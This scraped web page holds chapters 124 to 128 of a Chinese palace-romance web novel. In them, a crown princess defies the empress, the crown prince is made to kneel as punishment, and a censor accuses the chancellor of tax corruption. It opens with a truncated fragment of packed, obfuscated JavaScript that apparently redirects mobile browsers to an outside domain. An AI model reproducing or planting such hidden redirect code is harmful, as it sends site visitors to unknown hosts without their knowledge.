l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187523|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安若母亲才提前的,表哥居然如此的维护她,把那些跟我交好的千金都打了耳光,这以后皇城里还有谁人敢跟我交好?” “我就不明白了,那个沈安若到底哪里好?表哥就为了她非要跟我们国公府撕破脸吗?” 这么多年自己跟在小姐身边,是知道小姐一直都心仪太子的,不然也不会时常都去陪伴皇后,梨花看着一脸泪痕的李清舒心疼的开口。 “太子殿下也太过分了,明知道小姐你对他的心思,怎么能一点都不顾及小姐的面子,小姐,要不行就算了吧,太子现在眼里都是太子妃,奴婢也怕你以后嫁去太子府受委屈。” 国公夫人走进来正好听见了梨花劝解的话。 “梨花说得对,清舒,既然太子一心只有太子妃,母亲过两日就给你挑选合适的婚事。” 李清舒见自己母亲来了,急忙抬手擦拭了一下眼泪,站起来朝国公夫人走去,伸手拉住国公夫人的手眼里带着期盼。 “母亲,父亲与表哥谈的怎么样?” “为什么表哥会在大厅里落我的颜面?” 看着自己的女儿,眼睛都哭肿了,国公夫人心里一阵心疼,抬手拿手帕替她擦拭了眼角的泪痕。 “清舒,把你的心从太子那里收回来吧,咱们李家的女儿,有的是更好的男儿相配。” 李清舒瞳孔一下子放大,伸手紧紧的抓住了国公夫人的手。 “母亲,你这是什么意思?表哥他不愿意吗?连我们李家的支持都不要了吗?” “母亲,这不是真的对不对?你是骗我的对不对?这么多年表哥能够坐上太子之位多亏了父亲为他周旋,他若是现在舍弃了李家,那他还能当什么储君?” 国公夫人拉着她走到桌子边坐下,心疼的叹了一口气。 “唉,清舒,我们该清醒了,太子说了只是把你当亲妹妹看待,在大厅里的事情,已经有人来回报母亲了,你与太子没有可能了。” 李清舒的眼泪又掉了下来,哭泣着摇头。 “不,母亲,不应该是这样的,我不甘心,明明之前姑母还送来了凤冠,说是只认我这一个儿媳妇的,母亲,明明之前的时候我去姑母身边尽孝,所有人都心知肚明的,我迟早要进太子府的,表哥,那个时候也没有反对不是吗?” 国公夫人拉着她开口。 “清舒,强扭的瓜不甜,之前的时候你不是也说了吗?让母亲跟你寻找亲事…………” 自己只是想以退为进啊,为什么表哥会放弃李家。 “母亲,我不甘心啊,表哥就不怕他坐不稳储君之位吗?” 太子府。 沈安若是被王司记喊醒的。 “殿下,殿下醒醒,皇后娘娘身边的嬷嬷来了,说皇后娘娘宣殿下进宫。” 第一百二十四章 气性这么大 沈安若迷迷糊糊的醒来,身边商玄澈的位置已经冰凉。 “太子呢?” 王司记一边扶她一边开口。 “殿下早就去上朝了。” 沈安若只感觉自己困得眼睛都不想睁,任由王司记服侍自己穿衣。 就离谱,明明自己也是有武功在身高,怎么那种事情一做起来,自己浑身都软绵绵的,商玄澈反而精神抖擞,简直是没天理了。 王司记一边给沈安若梳洗一边开口。 “殿下,妾身打听过了,今日一早国公夫人进宫了,今日皇后让殿下进宫,只怕是跟昨日的宴会有关,极有可能是因为李小姐。” 沈安若一听瞌睡一下子跑了,整个人都清醒了过来。 “这怎么还告状呢?” “还真是让人难评。” 凤仪宫。 皇后一脸歉意的开口。 “嫂子,这件事的确是太子妃不懂事了,你放心,稍后等她到了,本宫就好好的教训教训她,给咱们单位清舒出气。” 国公夫人忍不住皱眉。 “皇后娘娘现在谈论的根本就不是太子妃的事,而是太子心里根本就没有半点清舒的位置,昨日太子当众把清舒交好的人都处置了,清舒只是求情更是被落了颜面。” “太子当众把太子妃捧在手心里,更是警告所有人,以后凡是不敬太子妃都会重罚,臣妇的清舒也是捧在手心里娇养着长大的,没必要让别人糟践,都是当母亲的,还望皇后娘娘能够理解臣妇的心情。” “到底清舒也算得上是在皇后娘娘身边长大的,今日臣妇进宫没有别的意思,只是将事情跟皇后娘娘说个明白,然后臣妇也该给清舒看婚事了。” 皇后一听着急了起来,心里更是对沈安若恼怒了几分,都怪这个沈安若,若不是她,澈儿怎么会与国公府有了隔阂。 “嫂子,这不行,太子与清舒这么多年的情谊,这不过是因为刚刚娶太子妃这新鲜劲还在兴头上,等过一段时间太子会补偿清舒的,而且你是知道的,本宫这心里只有清舒配当本宫的儿媳妇。” 这个皇后,国公夫人只感觉心里有些无语,可是又碍于身份,只好开口道。 “臣妇自然是明白皇后娘娘你对清舒的疼爱,可是皇后娘娘,太子心里只有太子妃,娘娘你也舍不得清舒往后独守空闺吧?” 独守空闺,这些年自己虽然是皇后,可是这凤仪宫就跟冷宫没什么区别,皇后心里一沉,不想委屈李清舒,可是太子也需要与李家联姻啊,正要准备说什么。 宫女进来恭敬的行礼。 “娘娘,太子妃来了。” 国公夫人见状起身行礼。 “娘娘,臣妇就先告退了。” 皇后急忙开口。 “嫂子,你留下,本宫这就给清舒出气。” 国公夫人无奈的开口。 “娘娘,你与太子妃怎么样相处臣妇没资格干涉,臣妇的身份留在这里不适合,臣妇改日再进宫给皇后娘娘请安。” 说完就急忙退下,既然已经决定给清舒寻婚事了,也没必要再得罪太子妃。 沈安若在门口与国公夫人相遇 。 国公夫人恭敬的行礼。 “见过太子妃。” 沈安若一脸微笑的开口。 “国公夫人免礼。” 国公夫人缓缓起身。 “臣妇今日进宫给皇后娘娘请安,往日的时候清舒时常在皇后娘娘身边赐婚,臣妇这两日准备给清舒看婚事,想请皇后娘娘帮衬着把把关,若是太子妃有时间,不嫌弃的话也帮忙参谋参谋。” 这个国公夫人说话有水平啊,这是告诉自己李清舒不惦记太子了,李家已经给她寻婚事了,今日只是来跟皇后说清楚,沈安若笑着开口。 “太子一直跟本宫说清舒妹妹自幼知书达礼,太子又没有亲妹妹,就一直把清舒当亲妹妹看待,说到参谋,本宫年龄小,阅历各方面的都不如皇后和夫人,怕是给不了什么建议,不过本宫与太子一定会给清舒妹妹准备一份嫁妆,这是我们当表哥表嫂的心意。” 国公夫人不动声色地打量着沈安若,这个太子妃说话还真是滴水不漏,甚至也没有半分醋意,之前看似她来了让太子受罚,可是也因为她秦王也没有讨到好,或许她的确适合当太子妃,只是这个异国公主的身份,罢了,那些也不是自己该操心的。 “那就多谢太子妃了。” 二人点头致意,国公夫人侧身给沈安若让路。 沈安若走到皇后身前福身。 “母后。” 皇后看着她这样就来气,手里的茶杯直接就朝她砸去,怒声呵斥。 “跪下!” 沈安若微微侧身,抬手准确的接住了杯子。 “啪!” 手一用力,杯子在她的手里碎裂。 一脸嫌弃的松手,手里的茶杯碎片掉在地上。 抬头看着皇后。 “皇后娘娘一早的气性这么大的吗?” “是哪个不长眼的来皇后娘娘面前嚼舌根了?” 作者有话说:我们若若就是半点委屈都不受,来,宝子们,给若若上票上五星书评 第一百二十五 我可以跪她不行 连母后都不喊了,还敢接住杯子还摔碎,皇后更是气得浑身发抖,手指着沈安若,怒不可遏。 “沈安若,你好大的胆子!在本宫面前居然如此放肆!” 沈安若却不慌不忙的的开口。 “安若有几日没有进宫了,所以应该是没有机会惹到皇后娘娘生气的,皇后娘娘这么大的怒气,定然是有人在皇后娘娘这里挑拨离间了,不如皇后娘娘告诉安若,是谁这么大的胆子?敢挑拨安若和皇后的关系,安若一定让人打烂她的嘴。” 皇后气得胸口起伏不定,冷哼一声。 “你还敢狡辩!昨日宴会之事,你当众让清舒难堪,还让太子当众维护你,处置那么多贵女,你知不知道,那几家贵女都是朝中重要大臣的女儿!你如此跋扈,会给太子带来麻烦!” 沈安若轻轻一笑,眼神中却透着一丝清冷。 “母后,昨日之事,儿臣与太子不过是就事论事。那些人对儿臣不敬,太子身为夫君维护儿臣也是应当,处罚也是为了杀鸡儆猴,避免一些不长眼的东西不知分寸。” 皇后拍案而起。 “你少在这里强词夺理!清舒自幼在本宫身边长大,与太子情谊深厚,沈安若,你若是还想当这太子妃,就亲自准备聘礼去国公府下聘,求清舒给太子当侧妃,往后在太子府你与她平起平坐…………” 沈安若一下子就笑了,是气笑的。 “皇后娘娘要不要听听自己在说什么?你要我给我的夫君纳妾?” 胡嬷嬷见状急忙提醒。 “太子妃,你身为太子的妻子,要孝敬皇后娘娘,如此说话乃是大逆不道。” 沈安若身边的王司记也开口了。 “胡嬷嬷,圣人言母慈子孝,要母慈子才孝。” 皇后一脸怒气的看着沈安若,又看了看王司记,这个跟着沈安若的女官也不是一个简单的,不过不能处置沈安若还不能处置一个奴婢吗? “胡嬷嬷,给本宫掌嘴,主子说话哪有奴婢插嘴的份。” 胡嬷嬷闻言上前就要一巴掌打在王司记的脸上,沈安若抬手抓住胡嬷嬷的手腕。 “胡嬷嬷,本宫的人不是别人能动的。” 话是对胡嬷嬷说的,目光却是似笑非笑的看着皇后。 皇后气的心口起伏,抬手指着沈安若。 “你当真是反了天了,你这是忤逆不孝。” “看来你这个太子妃是真的不想当了。” 沈安若一把甩开胡嬷嬷的手,看着皇后。 “皇后娘娘要是当真觉得本宫抢了你疼爱侄女的位置,大可去请旨皇上,将南诏与天元的联姻作废。” “又或者……………” 沈安若挑眉露出一抹冷笑。 “让太子与本宫和离。” 皇后听得更气了,这个贱人,如此大逆不道怎么能当儿媳妇,对比清舒真的是云泥之别。 “你…………你……………” 胡嬷嬷急忙去扶住皇后,给她胸口顺气。 “娘娘你消消气,当心凤体。” 又朝沈安若开口。 “太子妃,你快给皇后娘娘道个歉吧,皇后娘娘可是你婆母,你不敬婆母可是大罪,即便是太子殿下护着你,你也是要受罚的。” 看着皇后这副气呼呼的模样,沈安若忍不住身上扶额,商玄澈怎么有一个如此拎不清的母亲,这些年他也真是不容易,父不疼母不爱的。 “胡嬷嬷你是皇后身边多年的老人了,想来会伺候好皇后娘娘的,新婚燕尔,太子现在还缠本宫.缠得紧,本宫昨夜太累了,就先回去休息了,皇后娘娘就辛苦嬷嬷照顾了。” 皇后气的脸色铁青。 “你,你这个狐媚子,你这样与那些…………” 沈安若却敷衍的福身。 “安若告退。” 然后转身离去。 王司记见状急忙跟上。 结果一出凤仪宫就见皇上身边的公公迎上来。 “太子妃,皇上召见。” 皇后见了皇上见,今日出门是流年不吉吗?沈安若只好点了点头,跟着太监走。 一路来到了御书房。 沈安若无奈的跪下行礼,古代就是麻烦,动不动就要跪。 “臣妇见过陛下。” 天元皇放下手里的奏折,扫视她一眼,并未叫她起身。 “太子妃。” 沈安若应道。 “臣妇在。” 天元皇沉声开口。 “听说昨日国公府的春日宴太子妃也在!” 沈安若摸了摸膝盖缓缓开口。 “回陛下的话,国公府请了天元大半的夫人小姐,臣妇身为太子妃也收到了帖子。” 天元皇冷声开口。 “可是锦侧妃的孩子却在国公府没有了,太子妃不准备说一点什么吗?” 果然是为了这件事,沈安若真的是感觉天大的无语,这帝后二人不愧是夫妻,明明事情跟自己没关系,偏偏都要揪着自己不放。 “臣妇也没想到锦侧妃会与高小姐一起掉进水里,秦王和锦侧妃还年轻,感情也好,孩子以后还会有的。” 天元皇将手里的奏折直接丢到了桌子上。 “哼!” “孩子还会有的?身为嫂子,不知道护着弟妹的孩子,出事了就这么一句轻飘飘的孩子还会有的,如此没有仁慈之心,又怎么担得起太子妃这个身份?” 沈安若又伸手摸了摸膝盖,该死啊,真的是祸从天上来,这也能甩锅?动不动就太子妃太子妃,当太子妃有什么好的,还不如当南诏公主的时候,还是南诏公主的时候还不用过下跪呢,沈安若真的想直接站起来算了。 似乎是看出来了她的心思,天元皇冷声开口。 “怎么?来天元也有两月了吧,太子还没有教会你怎么样当一个合格的太子妃吗?” 原本准备站起来的膝盖又跪了下去,沈安若紧紧捏住手袖,这个昏君,这绝对是威胁。 “陛下恕罪,是臣妇愚笨,还需要再学一些时间。” 门口忽然传来太监行礼的声音。 “太子殿下。” 天元皇抬头只见商玄澈龙行虎步的走进来,他身姿挺拔,面容冷峻,眼神中带着不容忽视的威严。 天元皇瞳孔微缩,眼神里露出来一抹忌惮,这个商玄澈还真是越来越放肆了。 沈安若回头,只见商玄径直走到了自己的身边身旁,缓缓跪下,明明是跪着,可是就是感觉他这一刻很高。 “臣参见陛下。” “臣今日听说母后宣了太子妃进宫喝茶,特意去凤仪宫接太子妃,却又听说太子妃来给陛下请安了,所以来接人。” 天元皇看着会在一起的二人眼神冷了冷。 “怎么?怕你的太子妃受罚?” “身为长嫂,居然在宴会上没有保护好有孕的弟媳妇,朕不能罚她吗?” 商玄澈眉头微皱,眼眶发酸,抬头看着天元皇片刻,然后抬手将沈安若扶起,动作自然且带着不容抗拒的力量,自己却依旧跪着。 “臣自知为人子不能讨得陛下喜欢乃是臣无能,可凰仪公主是臣的太子妃,她的职责是照顾好太子府,手不能也不会伸到秦王府,和亲公主责任重大,凰仪公主需要保护好身子维护两国和平。” 作者有话说:每次写商玄澈这种渴望父亲认可却遭父亲厌恶的时候我的心都很难受,可是他三观好正啊,你是父亲,你可以拿我撒气,但是你不能欺负我的妻子,呜呜呜,玄澈是一个小苦瓜 第一百二十六章 又罚跪 商玄澈的声音沉稳有力,每一个字都像是重重地敲在御书房的地面上,回荡在寂静的空间里。 天元皇的脸色愈发阴沉。 “成了亲,都敢顶撞朕了?” 商玄澈跪着拱手,一脸的坚定。 “为人丈夫,护着自己的妻子乃是为夫之责,臣既然娶了凰仪公主,自然要护着她。” 天元皇看着他,瞳孔慢慢放大,还敢阴阳怪气,浑身散发着怒意。 “好好好,好一个为夫之责,既然如此那就替你的太子妃受罚吧,跪在这里把兄友弟恭抄一百遍。” 这个昏君,沈安若气得开口。 “陛下…………” 商玄澈伸手握住她的手。 “臣遵命,凰仪公主来天元本就惧寒,还请陛下准许她回太子府休息。” 沈安若低头看着他,眼里带着一抹心疼,这明显天元皇就是有意要折辱他,抬头看了一眼天元皇,沈安若的眼神又冰冷了几分。 天元皇却一脸冷笑的看着她。 “既然太子愿意替你受罚,那你就退下吧,往后还是好好的学一学规矩,不然只怕太子替你受罚不是第一次。” 沈安若真的是体会了一把什么叫做憋屈,察觉到她浑身散发着怒意,商玄澈伸手捏了捏她的手心。 “回家等我!” 沈安若眉头紧皱,低头看着跪在地上的商玄澈,眼里带着心疼,却也怒其不争,他明明文武双全,在许多大臣中也是评风很好的,怎么就要一次次的受委屈? 王司记见状上前轻轻拉了拉沈安若的衣袖。 沈安若咬了咬牙,福身行礼。 “臣告退。” 随着沈安若退下。 似乎是已经处罚了多次,太监已经习以为常的取来了笔墨纸砚。 商玄澈跪在地上,一笔一划地抄写着,他的字迹刚劲有力,即便是心有委屈不甘,可还是将字写得很好。 天元皇拿起奏折继续批阅,商玄澈跪下下方一遍又一遍得写着兄友弟恭。 太子府的马车里。 沈安若一脸的阴沉,连那万年不变的笑意都维持不住了。 王司记看着她缓缓开口。 “殿下可是在气太子。” 沈安若终于忍不住。 “能不气吗?” “明明就是天元皇故意罚他,他本来很优秀的一个人,为什么每次都要选择受这个窝囊气?” 王司记抬手给沈安若倒了一杯茶。 “殿下,天元乃是大国,以仁孝治天下,甚至有一句话叫做天下无不是的父母,就一个孝字压下来,太子在羽翼未丰之前太子殿下都得忍着,也还好,太子殿下还是顾及公主的。” 沈安若无语的吐槽。 “见过当父母偏心的,本宫还未见过如此偏心的,真的是眼盲心瞎。” 王司记继续开口。 “太子殿下是李家逼着陛下立的储君,就这一点,天元皇就不可能给太子殿下好脸色,朝中那些支持殿下的大臣,若是太子殿下真的敢忤逆,只怕是也是不服的,孝字大于天。” 还真是憋屈,这爹有还不如没有呢,沈安若摩擦着手里的茶杯。 “终究还是我们实力不够,但凡是有足够的实力,既然储君都能够强行立,那强行登基又如何不可?” 王司记听得心里一惊,一直都知道公主是一个胆子很大的人,但是也没有想到这胆子会如此的大,强行登基那可不就是造.反吗? “公主,咱小声一些。” 沈安若又喝了一口茶,一路沉默到了太子府。 沈安若才吩咐道。 “让厨房里准备好殿下爱吃的菜,另外,准备好热水。” 不到二月的天气还很凉,这抄完一百遍,只怕是身子都冻僵了,得让他回来就能洗一个热水澡。 秦王府。 到底是流了产,又感染了风寒,沈安锦整个人都在发热,折腾了一天,终于退热了,整个人脸色苍白,一副随时都要病死的模样。 秦王走进来,就看到她这副脆弱的模样,就像是珍贵的陶瓷娃娃,随时都会碎掉。 “锦儿,怎么样好些了吗?” 一边说着,一边伸手去摸她的额头,察觉到她已经退热,这才安心了下来。 “还好,烧已经退了。” 沈安锦眼里含泪。 “殿下,对不起,是我没有保护好我们的孩子,殿下你罚我吧,打我几下骂我几句都行,我一想到我们的孩子因为我的无能而…………” “我这心里就像刀割般的疼痛,他都没有来得及看这个世界一眼啊,是我这个当母亲的无用,是我不配当母亲!” 一边说着,甚至流着眼泪,抬手捶着自己的胸口,满脸都是懊悔之意。 秦王急忙伸手抓住她的手。 “锦儿,你这是在做什么?你怎么能伤害自己呢?本王已经没有了长子,现在更不能没有你,你不要再难过了好不好?” “本王答应你,等你养好了身子,我们还会有第二个孩子,甚至第三个第四个,在你怀孕之前,本王都会一直陪在你的身边。” 沈安锦抓起秦王的手放在自己的脸边。 “王爷,锦儿就是觉得对不起孩子,也对不起王爷。” 秦王急忙安慰她。 “这不是你的错,你不要再责怪自己了。” “对了,给你说一个好消息,今日本王也算是为你和孩子出了一口气。” 沈安锦闻言立即抬眼眸看着秦王。 “王爷你处罚了高小姐了吗?” “还是不要处罚了,锦儿不想让王爷为难的。” 秦王为她擦拭着眼泪。 “高家这边于本王而言有一些特殊,只能先委屈你了。” “不过今日父皇训斥了太子妃,太子更是被罚跪抄写兄友弟恭,估计现在还在御书房跪着写字呢。” 自己失去了孩子,沈安若居然只是被训斥了,她还真是运气好啊,沈安锦眼里闪过一抹不甘心很快消失不见,伸手握住秦王。 “锦儿多谢王爷为孩子出一口气。” 秦王听了看着她开口。 “傻瓜,那也是本王的孩子。” 高家。 昏睡了一夜一天的高晚宁终于醒过来了,一醒过来就是满心的委屈想,开口更是带着鼻音。 “母亲!” 高夫人坐在她的床边,一脸心疼地握住她的手。 “宁儿,你终于醒来了。” 高晚宁急忙开口。 “母亲,我真的没有推沈安锦,是她拽我下水的。” 高夫人握住她的手点头。 “母亲相信你,你先不要多想,你感染了风寒,需要好好的休息。” 高晚宁听了握住高夫人的手委屈的开口。 “母亲,女儿咽不下这口气,如果女儿真的觊觎表哥,真的做错了事,女儿认罪,可是女儿明明受了无妄之灾,却还要背负一个罪名。” 高夫人听得脸色也沉了下来。 “这个锦侧妃不是一个好的。” “她耍这种上不得台面的手段,迟早会害了秦王,此事我们不用出手,你姑母不会容下她的。” “不过,这件事也有太子妃的手笔,宁儿,这太子妃是一个有手腕的,在天元两个多月,明里暗里针对她的人那么多,可是你见她都从未吃亏过,你以后少跟她接触。” 太子府。 翡儿拿着棉花还有布片给沈安若。 “公主,你要棉花和布片做什么?” 沈安若拿起布片,将棉花裹在里面。 “做跪得容易。” 想当初在现代,自己完成任务以后刷剧看到了的还X格格,还得是小燕子聪明知道做一个跪的容易。 翡儿听得一脸的疑惑。 “跪的容易是什么?” 沈安若一边缝制一边开口。 “你等一下就明白了,去取一副太子的备用护膝过来。” 天元皇对商玄澈恨不得鸡蛋里面都挑出骨头来,这跪得容易不能直接用,得与护膝缝制在一起才是。 就这样,沈安若一针一线的缝制着,直到夜幕降临,沈安若终于将两个跪的容易缝制在了护膝上,伸手活动了一下自己的手腕。 “太子还没有回来?” 翡儿摇了摇头。 沈安若皱了皱,起身朝外走去。 翡儿急忙拿起披风追上去给她披上。 沈安若又在府门口等了许久,终于见太子府的马车缓缓而至。 商玄澈被苍术搀扶着从马车下来,双腿已有些发颤,面色也带着几分苍白,嘴唇也有些发青,明显就是冻的……………… 第一百二十七 赋税问题 沈安若看得心里一疼,疾步上前。 “商玄澈。” 商玄澈强撑着向沈安若走来。 “若若,这么冷,你怎么在这里。” 沈安若稳稳的扶着他一步步朝太子府走去。 “我自然是等自己的夫君。” 商玄澈闻言嘴角勾起一抹笑意,今日的罚跪好像也算是值得。 到了房间里。 热水已经准备好了,沈安若亲自为他宽衣。 “先泡一下热水,饭菜也温着的,你暖和一下身子,我陪你吃饭。” 一边将商玄澈扶进浴桶里一边抱怨着。 “你真的是他亲生的吗?” “一次次的不分青红皂白的折辱你,这跟昏君有什么区别?” 商玄澈坐在浴桶里,只感觉浑身都暖和了起来,伸手握住沈安若的手,却又感觉自己的手太冰了,又急忙缩回来。 “别气了,有你心疼我,这罚跪我倒是也不算太亏。” 沈安若伸手握住他的手放进水里一起泡着。 “商玄澈,你可是有武功内力在身的,怎么会冻成这个样子,而且御书房里不是应该烧着炭火吗?” 商玄澈听得神色一暗。 “陛下不准许我在御书房用内力。” “御书房的炭火后面也撤了。” 沈安若听得眼里一怒。 “他还真是……………” 一点都不当个人。 商玄澈在水里捏着她的手。 “无妨,这些年我已经习惯了。” 等到商玄澈暖和了身子,沈安若替他穿好了一副,翡儿已经将饭菜端了上来。 沈安若心疼的给他夹菜。 “都是你喜欢吃的,你多吃一些。” 商玄澈抬手给她夹菜。 “你也吃。” “若若,我知道今日的事情你很生气,可陛下到底是我…………不过这件事我也不会让秦王讨到好,他的侧妃不应该算计你。” 沈安若再次给他夹菜。 “你知道反击,我倒是也没有那么气了,我们拿老的没有办法还能拿小的没办法吗?” 夫妻二人吃过了晚膳,翡儿给二人上了热茶。 沈安若拿过改过的护膝递给商玄澈。 “以后你进宫穿着这个护膝。” 天元皇城的冬天寒冷,基本上都有用护膝,商玄澈接过看了看,很快就发现了这护膝的不一样,看着上面有些不太好看的针脚,商玄澈抚摸着护膝开口。 “若若这是你做的。” “这里面多了一层棉花。” 自己针线一般,给姐姐的衣服都是王司记她们帮忙的,此时沈安若也有些不好意思。 “是我做的,就是针线不太好,你将就将就,毕竟皇上动不动就对你罚跪,对了棉花垫着,你的膝盖也少遭罪一些。” 她总是有许多奇思妙想,这要是被陛下知道,怕是又要气了,伸手将沈安若拉过来坐到自己的腿上。 “若若…………” 沈安若急忙站起来。 “你这是做什么,你膝盖…………” 商玄澈又拉她坐在自己的腿上,双手紧紧抱着她。 “别动,让我抱一会。” “若若,有你真好。” 如今自己也有一个为自己考虑的人了。 沈安若偏头蹭了蹭他的脸颊。 “你会护着我,我自然会心疼你的。” 一夜过去。 太极殿。 早朝。 群臣跪拜。 “陛下万岁万岁万万岁。” 天元皇看着朝堂下下跪的文武百官,沉声开口。 “众爱卿平身。” 御史中丞魏迟上前拱手。 “陛下,臣有本要奏。” 天元皇看着魏迟缓缓开口。 “朕愿闻其详。” 魏迟继续拱手。 “臣身为御史台中丞,近日在查阅今年宗卷案子的时候发现一个奇怪的现象,去年的税收比起往年少了三成,最近户部的支出也开始拮据,臣就斗胆查看了一些赋税相关的资料。” “这才发现,税收减少三成的原因是因为去年陛下减轻了赋税,故而臣又去查阅了去年赋税的收征记录,发现其中这税收减少的最多的是商户,百姓的税收虽然也有减少,但是个地方却设立了义仓,实际上百姓的担子并未减少,反而朝堂因为减少商户税收而国库损失了银子。” 高相与一个大臣对视一眼。 一个大臣上前道。 “魏大人,这设立义仓乃是让百姓根据家中贫富自愿拿出一部分粮食来放在义仓之中,这样若是遇到了灾年,哪怕是没有朝堂拔款,百姓也能靠义仓的粮食救急,这本就是利国利民的好事,怎么今日魏大人还要提出异议?” 魏迟神色肃穆,不卑不亢地回应道。 “钱大人所言虽有一定道理,设立义仓初衷确是为百姓谋福祉。但问题在于,义仓虽由百姓自愿捐粮,可实际操作中,可能会出现不少地方官员为求政绩,对百姓施压,强制捐粮,使得原本自愿之举变了味,百姓苦不堪言。” “而且,若义仓管理不善,粮食多有损耗、被盗之事发生,恐怕真正到灾年能用于救急的粮食寥寥无几。” “再者,陛下减轻赋税本是善政,可商户税收减少三成,对国库影响巨大。国库空虚,诸多国事便难以开展,此事臣觉得户部上书已经有了察觉了。” 天元皇将目光看向了户部尚书。 “户部尚书,此事你怎么说?” 户部尚书看了一眼魏迟,这魏迟很少说话,怎么一开口就惹出来这么大的事情来? “回陛下,去年收上的税收的确少了三成,因此户部这边的确有几项政策因为要节俭开支而压了下去。” “可减轻赋税乃陛下英明决策,旨在休养生息,让百姓得以恢复元气。如今若贸然改变赋税政策,恐引起民怨,于国不利。至于义仓之事,虽有管理不善之处,但可加强监管,完善制度,而非因噎废食。” 高相也也附和道。 “陛下,尚书相所言极是。减轻赋税政策推行不过一年,成效尚未完全显现,此时调整,恐前功尽弃。义仓设立虽有瑕疵,但利大于弊,只要加强管理,定能发挥其应有的作用。” 魏迟却并不退让,再次拱手道。 “陛下,臣并非要否定减轻赋税与设立义仓的初衷,而是因为臣发现这减少赋税的事情是有人在暗度陈仓,趁机中饱私囊。” 此话一说,众人的目光都落到了魏迟身上,神色各异。 秦王看着他开口。 “本王怎么听着这像是一个案子,什么时候魏大人开始插手大理寺该管的事情了。” 魏迟继续拱手。 “殿下,御史台有监管朝堂的职责,臣身为御史中丞只是尽分内之事。” 随即又朝天元皇拱手。 “陛下,臣还发现在前年的时候就有商户与朝中些许大臣来往频繁,臣怀疑这减少赋税之事本就是一场商人贿赂官员还引发的事件,请求陛下让人彻查此事,避免官商勾结,国库空虚,朝堂不稳。” 商玄澈拱手道。 “陛下,臣觉得魏大人言之有理,税收乃是国库根本,既然户部尚书也察觉了这减少三成赋税会导致朝廷许多政策得不到施展,既然有官商勾结的嫌疑,此事的确该彻查。” 秦王与高相相视一眼,眉头紧皱。 高相缓缓开口。 “魏大人,凡事讲究证据,魏大人不能因为自己的怀疑就给朝中大臣扣上官商勾结的帽子。” “减少税收乃是利民大事,若是因为魏大人的怀疑导致政策停滞,魏大人又该当何罪?” 商玄澈见状目光看向魏迟。 “魏大人,丞相大人说的倒是也不无道理,你既提出此事,可有确凿证据指向何人?陛下国务繁忙,魏大人也不能凭借猜疑就耽误早朝时间。” 魏迟不慌不忙,从袖中取出一本奏折,还附带几封书信,双手呈上。 “陛下,臣已暗中调查数月,收集了部分证据,包括商户与官员之间的书信往来、账目记录等,其中就发现高相与商户来往最为密切,甚至高相的嫡长子还娶了天元最大商户赵家嫡女。” 第一百二十八章 你去告状啊 居然有证据,高相急忙拱手。 “陛下,臣的嫡子之所以娶赵家女,那是因为臣的嫡子与赵家女在大街上偶遇,因为赵家女马的马儿受惊,从马车里甩了出来,是犬子救了她,因此二人生情,这才有了这庄婚事。” 天元皇示意身边的太监接过奏折,仔细翻阅起来。 殿内一片寂静,所有人的目光都集中在天元皇的脸上,试图从他的表情中窥探出几分端倪。 片刻后,天元皇合上奏折,面色凝重。 高相和秦王看着魏迟恨不得当场处死他,在这巨大的压力下,魏迟擦了擦额头的汗珠,富贵险中求,干了,朝天元皇拱手。 “陛下,年前高家库房着火,听说库房的钱财都烧了干净,可是高家的公子与小姐用度都在挥霍无度,其中高家二公子前日还豪掷千金,在城南新开的珍宝阁买下一套价值连城的**头面,赠予了青楼的头牌姑娘。” “高家小姐更是时常出入各种首饰铺子,年前购置头面首饰衣服等就花费了近两万两银子,这还不算高家其他人开支,而且高公子和高小姐的开支皇城各大铺子应该都有记录,这并不难查。” “若库房当真如高相所言,被烧得一干二净,那这**头面的银子及高小姐各种高调购置的首饰衣服银子又是从何而来?到底是花的新儿媳妇嫁妆还是来自商户的贿赂?” 魏迟言辞犀利,直指要害,殿内顿时响起一片低低的惊呼声。 高相脸色骤变,正欲开口辩解,却被天元皇抬手制止。 “高相,此事你如何解释?” 天元皇的声音不高,却带着不容忽视的威严。 高相额头渗出细密的汗珠,强作镇定道。 “陛下,臣家中确是发生了一场大火,库房也的确受损,可还有些产业,且犬子平日里交友广泛,偶尔有些额外收入也属正常,加上过年贵妃娘娘也有赏赐,高家的姑娘穿戴好一些也并不奇怪。” 秦王也拱手道。 “父皇,母妃喜欢晚宁,逢年过节的确都会给晚宁准备衣服首饰,所以晚宁有一些不错的首饰衣服也是正常的,更何况朝中不少千金夫人穿戴奢华的,难不成就因为高家的女儿穿戴好一些就要质疑高家收了贿赂?” 天元皇目光深邃看着秦王。 “高贵妃的确会给高家姑娘一些赏赐…………” 已经涉及到民生问题,都还想包庇秦王与高家吗?商玄澈再次站出,拱手言道。 “陛下,高相所言虽有一定道理,但魏 大人所提疑点重重,亦不可轻易忽视。” “**头面价值连城,非一般额外收入所能购置,且高家二公子赠予青楼头牌姑娘之事,已传得满城风雨,恐非‘偶尔额外收入’所能解释。” “至于高家小姐的奢华开销,贵妃娘娘的赏赐虽丰,却也难以支撑如此巨大的花费,高家是否有意利用减轻赋税一事与商户勾结,还需勘察。” 镇国公看着太子,此事太子并未与自己商议过,难道太子是在顺势而为,想到了太子近日对李家的态度,镇国公继续装死不说话。 高丞相看了一眼太子,咬了咬牙,不甘心的拱手。 “陛下,臣一心在朝堂上为陛下分忧,家宅里的事情都是夫人与犬子的妻子在管理,因为犬子成亲的时候贱内操劳感染风寒身子不适,管家之权在犬子成家的第二天就交给了新妇。” “现在看来是新妇用了自己的嫁妆给小姑和小叔置办看行头,这是长嫂愿意照顾弟弟.妹妹,也是臣的家事。” 哪怕是落下一个高家花儿媳妇嫁妆的坏名声,也总比****好。 老狐狸,魏迟在心里吐槽了一句,看着高丞相开口。 “那丞相大人又如何解释与商户的书信来往,那些书信可在皇上的手里!” 这些蠢货,做事一点都不谨慎,这些书信又怎么会落在魏迟的手里,目光忍不住看了太子一眼,这件事情太子是提前知道的还是今日才知? 不过皇上并未当场大怒,可见书信并不能作为直接证据,这个时候咬死不承认就是最好的办法,高相冷声开口。 “本相听不懂魏大人在说什么?” 天元皇看着手里的书信,高家的确与商户有书信往来,可并未直接说到银子的事情,更何况为官的哪有手里干干净净的。 “行了,都别吵了。” “高相,这些书信你的确该做一个解释。” 说完将手里的书信递给了太监。 太监接过书信,小心翼翼地捧着,走至高相面前。 高相接过书信,一目十行地扫过,面色愈发凝重。 这些书信的确是他与商户之间的往来,还好其中的言辞模糊,并未直接涉及银钱交易。 